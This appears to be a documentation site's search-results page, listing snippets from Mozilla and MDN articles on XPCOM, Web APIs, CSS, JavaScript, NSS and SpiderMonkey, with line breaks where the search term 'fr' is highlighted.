free_threshold_for_idle_collection, jsgc_pretenure_threshold, jsgc_pretenure_group_threshold, jsgc_nursery_
free_threshold_for_idle_collection_percent, jsgc_min_nursery_bytes, jsgc_min_last_ditch_gc_period, } jsgcparamkey; value (c++/js shell) description jsgc_max_bytes / "maxbytes" maximum nominal heap before last ditch gc.
... jsgc_high_
frequency_time_limit / "high
frequencytimelimit" gcs less than this far apart in time will be considered 'high-
frequency gcs'.
...And 10 more matches
Redis Tips
it is also true that ice cream is a food that isn't made
from whale meat.
... but obviously, calling ice cream a nowhale food doesn't give you any sense of how good the ice cream is, or what sets it apart
from other kinds of food that aren't made
from whale meat but that are also very unlike ice cream -- it just gives the whaling industry a way to lump together people who don't use their products.
... things are strings, mostly as you can see
from that last example, the values pointed to by keys are strings or they are nil.
...And 10 more matches
XPCOM glue
it allows developers to link only against the
frozen xpcom method symbols and maintain compatibility with multiple versions of xpcom.
... compiling or linking against xpcom headers there are three ways to compile/link against xpcom headers/libraries:
frozen linkage: dependent glue (dependent on xpcom.dll) xpcom modules, i.e.
... code which wishes to use only
frozen symbols but can tolerate a load-time dependency on xpcom.dll should link against xpcomglue_s.lib and xpcom.lib.
...And 10 more matches
XPCOM array guide
this interface actually derives
from nsiarray.
...note that this class differs
from the other array types by using unsigned indices.
...in the case of scriptable arrays like nsiarray however, the enumeration mechanism is often preferred because it avoids the addref / release overhead that comes
from accessing each object.
...And 10 more matches
nsAString (External)
class declaration this header provides wrapper classes around the
frozen string api which are roughly equivalent to the internal string classes.
... source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
...And 10 more matches
nsINavHistoryQueryOptions
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) method overview nsinavhistoryqueryoptions clone(); attributes attribute type description applyoptionstocontainers boolean if true, the query options are only applied to the containers.
... excludeitemifparenthasannotation obsolete since gecko 13.0 autf8string this option excludes items
from a bookmarks query if the parent of the item has this annotation.
... excludeitems boolean this option excludes all uris and separators
from a bookmarks query.
...And 10 more matches
nsISHEntry
docshell/shistory/public/nsishentry.idlscriptable each document or sub
frame in session history will have a nsishentry associated with it which will hold all information required to recreate the document
from history.
... inherits
from: nsihistoryentry last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/browser/session-history-entry;1.
... boolean hasdetachededitor(); violates the xpcom interface guidelines boolean hasdynamicallyaddedchild(); boolean isdynamicallyadded(); void seteditordata(in nsdocshelleditordataptr adata); violates the xpcom interface guidelines void setissub
frame(in boolean aflag); void setscrollposition(in long x, in long y); void settitle(in astring atitle); void setuniquedocidentifier(); void seturi(in nsiuri auri); void setviewerbounds(in nsintrect bounds); native code only!
...And 10 more matches
nsISelection2
1.0 66 introduced gecko 1.8 obsolete gecko 8.0 inherits
from: nsiselection last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) in gecko 8.0 this interface was merged into the nsiselectionprivate interface.
... avpercent how to align the
frame vertically.
... a value of 0 means the
frame's upper edge is aligned with the top edge of the visible area.
...And 10 more matches
nsIXPConnect
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to access the xpconnect service, use code like this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getservice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method overview void addjsholder(in voidptr aholder, in nsscriptobjecttracerptr atracer); native code only!
... nsistack
frame createstack
framelocation(in pruint32 alanguage, in string afilename, in string afunctionname, in print32 alinenumber, in nsistack
frame acaller); void debugdump(in short depth); void debugdumpevalinjsstack
frame(in pruint32 a
framenumber, in string asourcetext); void debugdumpjsstack(in prbool showargs, in prbool showlocals, in prbool showthisprops); void debugdumpobject(in nsisupports acomobj, in short depth); [noscript,notxpcom] prbool definedomquickstubs(in jscontextptr cx, in jsobjectptr proto, in pruint32 flags, in pruint32 interfacecount, [array, size...
...d wrapnativetojsval(in jscontextptr ajscontext, in jsobjectptr ascope, in nsisupports acomobj, in nswrappercacheptr acache, in nsiidptr aiid, in boolean aallowwrapper, out jsval aval, out nsixpconnectjsobjectholder aholder); attributes attribute type description collectgarbageonmainthreadonly prbool obsolete since gecko 1.9 currentjsstack nsistack
frame read only.
...And 10 more matches
Getting Started Guide
xpcom basics: ownership and reference counting this is a quick re
fresher on some fundamental issues of xpcom.
...they reference it only through a pointer to an `interface', i.e., the static type of the pointer is a pointer to an abstract base class, the actual object pointed to is a class derived
from that abstract base class.
...to facilitate this, all interfaces inherit
from an abstract base class that provides the member functions addref, and release.
...And 10 more matches
Initialization and Destruction - Plugins
shutdown: when the last instance of a plug-in is deleted, the plug-in code is unloaded
from memory and the browser calls the function np_shutdown.
... in the initialization process, the browser passes the plug-in two tables of function pointers for all api calls: one table lists all api calls
from the plug-in to the browser.
... the other table lists all api calls
from the browser to the plug-in.
...And 10 more matches
Introduction to DOM Inspector - Firefox Developer Tools
the dom inspector is a mozilla extension that you can access
from the tools > web development menu in seamonkey, or by selecting the dom inspector menu item
from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application.
... note: starting with firefox 3, the dom inspector is not included in firefox by default; instead, you must download and install it
from the mozilla add-ons web site.
... inspecting content documents the inspect content document menupopup can be accessed
from the file menu, and it will list currently loaded content documents.
...And 10 more matches
Drawing shapes with canvas - Web APIs
our html skeleton
from the previous page had a canvas element 150 pixels wide and 150 pixels high.
...so the position of the top left corner of the blue square becomes x pixels
from the left and y pixels
from the top, at coordinate (x,y).
... below is the draw() function
from the previous page, but now it is making use of these three functions.
...And 10 more matches
Key Values - Web APIs
deletes all characters
from the current cursor position to the end of the current field.
... vk_insert (0x2d) gdk_key_insert (0xff63) gdk_key_kp_insert (0xff9e) qt::key_insert (0x01000006) keycode_insert (124) "paste" paste
from the clipboard.
...used to wake the computer
from the hibernation or standby modes.
...And 10 more matches
SVGTransformList - Web APIs
ansform initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransform
frommatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list.
... methods name & arguments return description clear() void clears all existing current items
from the list, with the result being an empty list.
... initialize(in svgtransform newitem) svgtransform clears all existing current items
from the list and re-initializes the list to hold the single item specified by the parameter.
...And 10 more matches
Using Service Workers - Web APIs
using a service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data
from the network (commonly known as offline first).
...it uses a promise-powered function to read image data
from a json object and load the images using ajax, before displaying the images in a line down the page.
...in this version, we pass in a json
fragment containing all the data for a single image (see what they look like in image-list.js).
...And 10 more matches
Web Audio API - Web APIs
these could be either computed mathematically (such as oscillatornode), or they can be recordings
from sound/video files (like audiobuffersourcenode and mediaelementaudiosourcenode) and audio streams (mediastreamaudiosourcenode).
... in fact, sound files are just recordings of sound intensities themselves, which come in
from microphones or electric instruments, and get mixed down into a single, complicated wave.
... audiocontext the audiocontext interface represents an audio-processing graph built
from audio modules linked together, each represented by an audionode.
...And 10 more matches
XRWebGLLayer - Web APIs
in particular, it provides access to the webgl
framebuffer and viewport to ease access to the context.
... although xrwebgllayer is currently the only type of
framebuffer layer supported by webgl, it's entirely possible that future updates to the webxr specification may allow for other layer types and corresponding image sources.
... properties antialias read only a boolean value indicating whether or not the webgl context's
framebuffer supports anti-aliasing.
...And 10 more matches
:nth-last-child() - CSS: Cascading Style Sheets
the :nth-last-child() css pseudo-class matches elements based on their position among a group of siblings, counting
from the end.
... /* selects every fourth element among any group of siblings, counting backwards
from the last one */ :nth-last-child(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-child, except it counts items backwards
from the end, not forwards
from the beginning.
... syntax the nth-last-child pseudo-class is specified with a single argument, which represents the pattern for matching elements, counting
from the end.
...And 10 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
testing for css animation support this code will check to see if css animation support is available: var animation = false, animationstring = 'animation', key
frameprefix = '', domprefixes = 'webkit moz o ms khtml'.split(' '), pfx = '', elem = document.createelement('div'); if( elem.style.animationname !== undefined ) { animation = true; } if( animation === false ) { for( var i = 0; i < domprefixes.length; i++ ) { if( elem.style[ domprefixes[i] + 'animationname' ] !== undefined ) { pfx = domprefixes[ i ]; animationstring =...
... pfx + 'animation'; key
frameprefix = '-' + pfx.tolowercase() + '-'; animation = true; break; } } } for starters we define a few variables.
...if it is true then both the animation property name and the key
frame prefix will be the right ones.
...And 10 more matches
Grid template areas - CSS: Cascading Style Sheets
.wrapper { display: grid; grid-template-columns: repeat(9, 1
fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft ft ft ft ft"; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { ...
...area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1
fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" ".
...area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1
fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "sd sd sd ft ft ft ft ft ft"; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> the...
...And 10 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
as you can see
from this set of examples, there is often more than one way to achieve the result you want with grid layout.
... @media (min-width: 500px) { .wrapper { grid-template-columns: 1
fr 3
fr; grid-template-areas: "header header" "nav nav" "sidebar content" "ad footer"; } nav ul { display: flex; justify-content: space-between; } } you can see the layout taking shape in the value of grid-template-areas.
... @media (min-width: 700px) { .wrapper { grid-template-columns: 1
fr 4
fr 1
fr; grid-template-areas: "header header header" "nav content sidebar" "nav content ad" "footer footer footer" } nav ul { flex-direction: column; } } the three-column layout has two 1
fr unit side columns and a middle column that has 4
fr as the track size.
...And 10 more matches
image() - CSS: Cascading Style Sheets
the image() css function defines an <image> in a similar fashion to the <url> function, but with added functionality including specifying the image's directionality, specifying fallback images for when the preferred image is not supported, displaying just a part of that image defined by a media
fragment, and specifying a solid color as a fallback in case none of the specified images are able to be rendered.
... image-src optional zero or more <url>s or <string>s specifying the image sources, with optional image
fragment identifiers.
... image
fragments one key difference between url() and image() is the ability to add a media
fragment identifier — a starting point along the x and y axis, along with a width and height — onto the image source to display only a section of the source image.
...And 10 more matches
position - CSS: Cascading Style Sheets
syntax the position property is specified as a single keyword chosen
from the list of values below.
... absolute the element is removed
from the normal document flow, and no space is created for the element in the page layout.
... fixed the element is removed
from the normal document flow, and no space is created for the element in the page layout.
...And 10 more matches
Content-Security-Policy - HTTP
directives fetch directives fetch directives control the locations
from which certain resource types may be loaded.
... child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <
frame> and <i
frame>.
... instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the
frame-src and worker-src directives, respectively.
...And 10 more matches
Grammar and types - JavaScript
basics javascript borrows most of its syntax
from java, c, and c++, but it has also been influenced by awk, perl, and python.
...for example, the word
früh (which means "early" in german) could be used as a variable name.
... let
früh = "foobar" but, the variable
früh is not the same as
früh because javascript is case sensitive.
...And 10 more matches
String - JavaScript
creating strings strings can be created as primitives,
from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 = new string("a string object"); string primitives and string objects can be used interchangeably in most situations.
...(the same is true of boolean and numbers.) string literals (denoted by double or single quotes) and strings returned
from string calls in a non-constructor context (that is, called without using the new keyword) are primitive strings.
... static methods string.
fromcharcode(num1 [, ...[, numn]]) returns a string created by using the specified sequence of unicode values.
...And 10 more matches
CSS and JavaScript animation performance - Web Performance
there are many ways to implement web animations, such as css transitions/animations or javascript-based animations (using requestanimation
frame()).
...even if an element is in the middle of a transition, the new transition starts
from the current style immediately instead of jumping to the end css state.
...css animations consist of two components: a style describing the css animation, and a set of key
frames that indicate the start and end states of the animation's style, as well as possible intermediate points.
...And 10 more matches
Progressive web app structure - Progressive web apps (PWAs)
that way, the next time someone visits the app
from the device, the ui loads
from the cache immediately and any new content is requested
from the server (if it isn’t available in the cache already).
... we can control what is requested
from the server and what is retrieved
from the cache with a service worker, which will be explained in detail in the next article — for now let's focus on the structure itself.
... this architecture allows a website to benefit the most
from all the pwa features — it caches the app shell and manages the dynamic content in a way that greatly improves the performance.
...And 10 more matches
Content type - SVG: Scalable Vector Graphics
the grammar for clock values is repeated here: clock-val ::= full-clock-val | partial-clock-val | timecount-val full-clock-val ::= hours ":" minutes ":" seconds ("."
fraction)?
... partial-clock-val ::= minutes ":" seconds ("."
fraction)?
... timecount-val ::= timecount ("."
fraction)?
...And 10 more matches
Using custom elements - Web Components
optionally, an options object containing an extends property, which specifies the built-in element your element inherits
from, if any (only relevant to customized built-in elements; see the definition below).
... there are two types of custom elements: autonomous custom elements are standalone — they don't inherit
from standard html elements.
... customized built-in elements inherit
from basic html elements.
...And 10 more matches
Source code directories overview - Archive of obsolete content
photon contains source code for photon, a microkernel windowing system used in several real-time operating systems
from qnx software systems ltd.
... content was split off
from layout and contains objects as they are exposed to the dom.
...this code originated as the reference implementation for the jpeg specification
from the independent jpeg group.
...And 9 more matches
jspage - Archive of obsolete content
a);document.head.removechild(a);}return b;}native.uid=1; var $uid=(browser.engine.trident)?function(a){return(a.uid||(a.uid=[native.uid++]))[0];}:function(a){return a.uid||(a.uid=native.uid++);};var window=new native({name:"window",legacy:(browser.engine.trident)?null:window.window,initialize:function(a){$uid(a); if(!a.element){a.element=$empty;if(browser.engine.webkit){a.document.createelement("i
frame");}a.element.prototype=(browser.engine.webkit)?window["[[domelement.prototype]]"]:{}; }a.document.window=a;return $extend(a,window.prototype);},afterimplement:function(b,a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a)...
...:"indexof",hasvalue:"contains"}); var event=new native({name:"event",initialize:function(a,f){f=f||window;var k=f.document;a=a||f.event;if(a.$extended){return a;}this.$extended=true;var j=a.type; var g=a.target||a.srcelement;while(g&&g.nodetype==3){g=g.parentnode;}if(j.test(/key/)){var b=a.which||a.keycode;var m=event.keys.keyof(b);if(j=="keydown"){var d=b-111; if(d>0&&d<13){m="f"+d;}}m=m||string.
fromcharcode(b).tolowercase();}else{if(j.match(/(click|mouse|menu)/i)){k=(!k.compatmode||k.compatmode=="css1compat")?k.html:k.body; var i={x:a.pagex||a.clientx+k.scrollleft,y:a.pagey||a.clienty+k.scrolltop};var c={x:(a.pagex)?a.pagex-f.pagexoffset:a.clientx,y:(a.pagey)?a.pagey-f.pageyoffset:a.clienty}; if(j.match(/dommousescroll|mousewheel/)){var h=(a.wheeldelta)?a.wheeldelta/120:-(a.detail||0)/3;}v...
...ar e=(a.which==3)||(a.button==2);var l=null;if(j.match(/over|out/)){switch(j){case"mouseover":l=a.relatedtarget||a.
fromelement; break;case"mouseout":l=a.relatedtarget||a.toelement;}if(!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $extend(this,{event:a,type:j,page:i,client:c,rightclick:e,wheel:h,relatedtarget:l,target:g,code:b,key:m,shift:a.shiftkey,control:a.ctrlkey,alt:a.altkey,meta:a.metakey}); }});event.keys=new hash({enter:13,up:38,down:40,left:37,right:39,esc:27,space:32,backspace:8,tab:9,"delete":46});event.implement({stop:function(){return this.stoppropagation().preventdefault(); },stoppropagation:function(){if(this.event.stoppropagation){this.event.stoppropagation();}else{this.event.cancelbubble=true;...
...And 9 more matches
Reading textual data - Archive of obsolete content
this article describes how to read textual data
from streams, files and sockets.
...you can fallback to the default character encoding stored in preferences (intl.charset.default, a localized pref value) when reading
from a file, the question is harder to answer.
... using the system character encoding may work (xxx insert text how to get it), or again the default character encoding
from preferences.
...And 9 more matches
SQLite Templates - Archive of obsolete content
« previousnext » templates may use a datasource that is retrieved
from an sqlite database, such as those used by the mozstorage api.
... this allows information
from the database to be used to generate xul content.
... <listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name
from my
friends </query> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the query returns the list of values
from the 'name' column in the table 'my
friends'.
...And 9 more matches
XUL element attributes - Archive of obsolete content
start child elements are aligned starting
from the left or top edge of the box.
...when multiple datasources are used, one may override an assertion
from another.
...when multiple datasources are used, one may override an assertion
from another.
...And 9 more matches
Getting started with XULRunner - Archive of obsolete content
you can extract this to any location you like, but there are many places in the documentation that will assume that you have this installed in /library/
frameworks.
... in ubuntu desktop and its variants (xubuntu, kubuntu, ...),
from version 11.10 (oneiric ocelot), xulrunner is not longer maintained and doesn't exist in ubuntu repository.
... therefore, either you need to compile xulrunner manually or download a binary release
from mozilla's ftp server.
...And 9 more matches
Introduction to SSL - Archive of obsolete content
cipher suites are listed
from strongest to weakest.
... exportable cipher suites these cipher suites are not as strong as those listed above, but may be exported to most countries (note that
france permits them for ssl but not for s/mime).
... using all data generated in the handshake so far, the client (with the cooperation of the server, depending on the cipher being used) creates the premaster secret for the session, encrypts it with the server's public key (obtained
from the server's certificate, sent in step 2), and sends the encrypted premaster secret to the server.
...And 9 more matches
Theme changes in Firefox 2 - Archive of obsolete content
filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed
from firefox 2.
... preferences/downloads.xul - removed
from firefox 2.
... preferences/general.xul - removed
from firefox 2.
...And 9 more matches
Using workers in extensions - Archive of obsolete content
if you haven't already created an extension, or would like to re
fresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example.
... how this differs
from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
... so we need to move the re
freshinformation() method
from the stockwatcher2.js file into a separate file that will host the worker thread.
...And 9 more matches
Reference - Archive of obsolete content
inheritance and private variables the guide section links to an interesting document discussing how to create and use private variables in objects, which is great if you want to protect the various properties within an object
from being poked at accidentally.
...did this operator get removed/deprecated, or is it missing
from the documentation?
...if downloading the stuff is your priority you are
free to field ideas/concept to the devmo mailing list for discussion, and then actually code it (or find someone to do so).
...And 9 more matches
3D games on the Web - Game development
they can be split into vertex shaders and
fragment shaders (or pixel shaders) — the former transforms shape positions to real 3d drawing coordinates, while the latter computes rendering colors and other attributes.
...we have information available for you to learn
from: 2d collision detection 3d collision detection webxr the concept of virtual reality is not new, but it's storming onto the web thanks to hardware advancements such as the oculus rift, and the (currently experimental) webxr api for capturing information
from vr and ar hardware and making it available for use in javascript applications.
... there's also the building up a basic demo with a-
frame article showing you how easy it is to build 3d environments for virtual reality using the a-
frame
framework.
...And 9 more matches
Visual-js game engine - Game development
full name : visual-js gui for windows multiplatform 2d game engine creator : nikola lukic 2017 2018 open source visual-js project parts : -2d part : this is javascript game engine (server part node.js / client part js) js
framework with windows gui editor and game instance creator.
... with strong connection with webpack physics done with (matter.js) matter ts this part is removed
from this project.
... 2) you are
free to use any version of visual js library in any other project (even commercial projects) as long as the copyright header is left intact except for plugins on sale and graphics that come with them (they have special commercial licence).
...And 9 more matches
WAI-ARIA basics - Learn web development
previous overview: accessibility next following on
from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
... the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or whatever else), for example: <a href="#hidden" class="hidden">skip to navigation</a> but this is still not very precise, and can only be used when the screenreader is reading
from the top of the page.
...states differ
from properties in that properties don't change throughout the lifecycle of an app, whereas states can change, generally programmatically via javascript.
...And 9 more matches
Advanced form styling - Learn web development
appearance: controlling os-level styling in the previous article we said that historically, styling of web form controls was largely taken
from the underlying operating system, which is part of the problem with customizing the look of these controls.
...this stops any control you apply it to
from using system-level styling, as much as possible, and lets you build up the styles yourself using css.
...the answer is that in chromium-based browsers on macos, search boxes have some styling restrictions — you can't adjust their height or font-size
freely, for example.
...And 9 more matches
Sending form data - Learn web development
an html form on a web page is nothing more than a convenient user-
friendly way to configure an http request to send data to a server.
...the server then responds, generally handling the data and loading the url defined by the action attribute, causing a new page load (or a re
fresh of the existing page, if the action points to the same page).
...the way you access this list depends on the development platform you use and on any specific
frameworks you may be using with it.
...And 9 more matches
Advanced text formatting - Learn web development
this is usually a feeling, thought, or piece of additional background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat
from the terms.
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away
from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%"> bacon the glue that binds the world together.
...tecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const
front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value =
front + text + back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates...
...And 9 more matches
Getting started with HTML - Learn web development
anatomy of an html element let's further explore our paragraph element
from the previous section: the anatomy of our element is: the opening tag: this consists of the name of the element (in this example, p for paragraph), wrapped in opening and closing angle brackets.
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away
from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> this is my text.
..., updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var
front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value =
front + text + back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates t...
...And 9 more matches
Images in HTML - Learn web development
note: you should read a quick primer on urls and paths to re
fresh your memory on relative and absolute urls before continuing.
... you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address
from the dns server all over again, etc.
... you have received explicit, written permission
from the image owner.
...And 9 more matches
Getting started with Ember - Learn web development
previous overview: client-side javascript
frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... introducing ember ember is a component-service
framework that focuses on the overall web application development experience, minimizing the trivial differences between applications — all while being a modern and light layer on top of native javascript.
... what does it mean to be a component-service
framework?
...And 9 more matches
Accessibility in React - Learn web development
previous overview: client-side javascript
frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users.
... focusing between templates when a user toggles a <todo/> template
from viewing to editing, we should focus on the <input> used to rename it; when they toggle back
from editing to viewing, we should move focus back to the "edit" button.
... change the import statement at the top of todo.js so that it includes useref: import react, { useref, usestate }
from "react"; then, create two new constants beneath the hooks in your todo() function.
...And 9 more matches
Focus management with Vue refs - Learn web development
previous overview: client-side javascript
frameworks next we are nearly done with vue.
...we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access
from one component to the internal dom structure of a child component.
...specifically, when a user activates the "edit" button, we remove the "edit" button
from the dom, but we don't move the user's focus anywhere, so in effect it just disappears.
...And 9 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems
from happening, or fix problems that occur.
... let's go forth and look at how we can reduce cross browser errors that result
from html/css.
...for example, you might use a css
framework and find that one of the class names it uses clashes with one you've already used for a different purpose.
...And 9 more matches
Deploying our app - Learn web development
running tests: these can range
from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests prevent deployment.
...this unique filename "busts" your browser's cache, thereby making sure the browser downloads the
fresh code each time an update is made to the deployed code.
...netlify gives us hosting or more specifically, a url to view your project online and to share it with your
friends, family, and colleagues.
...And 9 more matches
Chrome registration
note: with gecko 1.9.2 and older, mozilla reads chrome/*.manifest files
from applications.
...the providers work together to supply a complete set of chrome for a particular window,
from the images on the toolbar buttons to the files that describe the text, content, and appearance of the window itself.
... there are three basic types of chrome providers: content the main source file for a window description comes
from the content provider, and it can be any file type viewable
from within mozilla.
...And 9 more matches
Cross Process Object Wrappers
note that
from firefox 47 onwards, unsafe cpow usage is no longer permitted in browser code.
... in multiprocess firefox, chrome code runs in a different process
from web content.
... so chrome code can't directly interact with web content: instead, it must factor out the code that interacts with web content into separate scripts that are called
frame scripts.
...And 9 more matches
Mozilla DOM Hacking Guide
this means that when we use the dom
from javascript, we pass arguments that have no type.
... the great thing is that one can easily see the interfaces available
from js through interface flattening by looking at the code.
...all the helper classes inherit
from the nsdomclassinfo class.
...And 9 more matches
L20n Javascript API
l20n javascript api var ctx = l20n.getcontext(); ctx.linkresource('./locales/strings.l20n'); ctx.requestlocales(); when you
freeze the context by calling requestlocales, the resource files will be retrieved, parsed and compiled.
... ctx.registerlocales('en-us', ['ar', 'es-ar', 'es-es', 'en-us', '
fr', 'pl']); defaultlocale is the original language of the context instance and will be used as the last fallback locale if other locales are registered.
... ctx.registerlocalenegotiator(function(available, requested, deflocale, callback) { yourapp.getallavailablelanguages(function(allavailable) { var fallbackchain = yourapp.intersect(allavailable, requested); cb(fallbackchain); }); }); ctx.requestlocales(...requestedlocales: string?) specify the user's preferred locales for the context instance to negotiate against and
freeze the context instance.
...And 9 more matches
JSS Provider Notes
if you build jss yourself
from source instead of using binaries downloaded
from mozilla.org, your jar file will not have a valid signature.
... use the binary release of jss
from mozilla.org.
...thus, the thread token is not inherited
from the parent thread.
...And 9 more matches
Mozilla-JSS JCA Provider notes
if you build jss yourself
from source instead of using binaries downloaded
from mozilla.org, your jar file will not have a valid signature.
... use the binary release of jss
from mozilla.org.
...thus, the thread token is not inherited
from the parent thread.
...And 9 more matches
nss tech note6
the following applies to nss 3.8 through 3.10 : on 32-bit solaris sparc (i.e., not x86, and not 64-bit sparc) and 32-bit hp-ux pa-risc (i.e., not itanium, and not 64-bit pa-risc), there are two more .chk files: lib
freebl_pure32_3.chk and lib
freebl_hybrid_3.chk.
... the following applies to nss 3.11 : the low-level
freebl cryptographic code has been separated
from softoken on all platforms.
... even on platforms for which there is only one implementation of
freebl, there is now a separate
freebl shared library.
...And 9 more matches
PKCS11 FAQ
if so, is there a way to get the certificate
from an external token into nss's internal certificate database?
... what permanent pkcs #11 objects are used by nss or read
from the token?
... private keys (rsa and dsa) and the corresponding certificates are read
from the token.
...And 9 more matches
Necko walkthrough
nsdocshell as an example client of the nsihttpchannel api nsdocshell::loaduri(string) create nsiuri
from string nsdocshell::loaduri(nsiuri) creates 2 nsiinputstream for read response
from; passes them with uri to ...
... nshttpchannel::asyncopen called
from openuri; openchannel isn't named the best, since the opening happens in the context of openuri, its calling function.
... receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data
from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread.
...And 9 more matches
JS_malloc
allocate and
free memory that is not managed by the garbage collector.
... syntax void * js_malloc(jscontext *cx, size_t nbytes); void * js_realloc(jscontext *cx, void *p, size_t oldbytes, size_t newbytes); char * js_strdup(jscontext *cx, const char *s); void js_
free(jscontext *cx, void *p); name type description cx jscontext * pointer to a js context.
... p void * (js_realloc and js_
free only) pointer to a previously allocated region of memory to resize or deallocate.
...And 9 more matches
JSAPI reference
